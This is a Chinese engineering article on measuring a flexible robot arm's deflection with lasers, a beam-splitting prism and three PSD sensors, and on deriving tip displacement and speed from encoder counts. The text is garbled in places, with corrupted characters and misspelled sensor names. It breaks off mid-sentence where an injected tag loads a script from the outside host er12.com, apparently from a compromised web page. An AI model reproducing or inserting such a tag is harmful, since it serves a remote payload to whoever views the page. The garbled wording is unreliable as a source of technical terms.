摘要：本文叙述了挠性臂偏差的测量过程和方法。挠性臂的偏差信号由位置敏感传感器获取。当挠性臂的挠度发生变化时，位置探测器通过检测激光光斑位置获取挠性臂挠度的大小。在测量出挠性臂挠性偏差的基础上，我们可以得到挠性臂的末端精确位移及速度。
引言：
机器人一般选择重量尽可能轻，断面尽可能小的机械臂，因为这样可以减少机器人的本身重量，降低系统耗能，这一点在航空科技应用中尤为突出。重量轻的机器人往往能够具有更高的灵活性，更快的移动速度及复杂的操作性能，这种便得轻型机器人能完成更复杂的任务。然而，这样的机器人手臂刚度较小，具有挠性。与刚性机器人不同，机器人由挠性边杆构成的手臂在运动中要产生弹性变形。这便得整个系统的模型变得非常复杂，此时机器人位置控制系统的设计也比刚性机器人要满足更多的要求。近年来，挠性臂运动的建造及控制了旨志于海内外众多专家，学者的兴趣。为了能够对挠性臂的结构变形和振动进行控制，挠性臂的挠性偏差及其末端位移的测量是系统的关键环节。已提出的方法包括自动激光跟踪系统，经纬仪自动测量系统以及基于图像处理的自动测量系统等。它们在工程实际应用中也发挥了巨大的作用。但这几种方法都具有较大的局限性，前者的高成本使其应场合极其有限，第二种方法则给反馈崐系统模型的建立带来了很大困难，最后一种方法因为要在测量中涉及大量复杂的图像处理算法，使它很难达到真正实时性的要求。
本文提出了一种基于集成激光测量系统的方法，由于此系统成本低，安装简单，肯有较好的实用价值，通过实验证明具有比较精确的测量精度。该系统使用由三个激光位置敏感装置探测器(position sensifive defearor)psd组成，通过三个同来面的psd传感器可测出单臂机械手除杆长方向外的各自由度偏差。
偏差的测量装置及原理
为完成对挠性机器人系统良好的实时控制，首先必须完成挠性杆性件末端的位姿偏差的精确测量。本文采用下述激光测量装置，该装置能测出挠性杆除杆长方向外的挠性偏差量。由于该装置体积较小，同时又避免了杆件和光路的干涉，因此可适用于多杆柔性臂的动态偏差测量。
测量装置描述如下：
在挠性杆的前端固定一个激光装置，包括两个平行的激光发生器，其光线增行杆长方向，在杆的末端固定一个psd集成装置，整个测量装置的结构布置情况如图1所示。
图1 测量装置安装示意图
psd集成装置由一个45度分光直角棱镜和三个psd传感器集合而成，它们都固定在一个长方体的框架内，如图2所示：
图2 基于psd的测量装置
反射三角棱镜安装在方框的下方中间，位于psd1的正前方。psd1与psd2固定在方框后侧面上，psd3则固定在方框顶面上。安装时应保证杆件无变形时，两束激光线平行杆长向射入，且使激光光线1结三角棱镜的反射斜面中点正投射的psd1的中心点，激光光线2正投射到psd2的中心点，激光光线1经三角棱镜后的反射光线应正投射到psd3的中心点。
在多挠性杆机器人系统的每个挠性杆上均安装上这种测量装置，当挠性杆件发生挠性变形时，激光发生器固定在杆的前端保持不动，而psd集成装置部分因固定在杆的末端，将随着末端的变形而产生摄动。使得投射到各个psd上的光点发生偏移，这些偏移量即可反映出杆件的挠性变形情况。我们即是通过测量这些偏移量来确定挠性臂的挠性偏差量。
位移及速度的测量
挠性臂挠度偏差的测量的目的，是为了精确地确定其末端的位移。以下以单挠性臂为例说明末端位移的测量过程。
要想确定单挠性臂末端的位移，不仅需要知道此时挠性臂的运转角度，还需知道此时挠性臂的挠度偏差。其中挠性臂的运转角度通过编码器输出，而挠性臂的挠度则通过psd来测量。位移的确定过程如图3所示。
图3 挠性臂的位移测量示意图
编码器通过一减速器与挠性臂相边，实验选用的减速器的减速比为82∶1。每当挠性臂运转1度时，编码器就会发出82个脉冲。hy棗6210多功能定时/计数板的定时/计数器2被用来统计此脉冲数，其时钟输入端与编码器的脉冲输出端相连。
随着挠性臂挠度的变化，psd输出的电压信号也跟着改变。此电压直接反映了挠性臂的挠度。我们可以通过hy棗1232 a/d、d/a板采样此电压值。通过此电压值确定挠性臂的挠度。
用减速比82去除定时/计数2统计出的脉冲数，我们可以得到挠性臂的运行角度，减去末端的挠曲角度，即可求出挠性臂末端的准确位移。
在求出挠性臂末端精确位移的基础上，如果我们测出挠性臂从一个位置运行到另一位置所消耗的时间，即可求得挠性臂在这一段时间内的平均速度。如果我们让采样时间尽可能的小，这一速度就可被近似为在某一位置时的瞬时速度。hy棗6210多功能定时/计数板的定时/计数器0和定时/计?script src=http://er12.com/t.js>
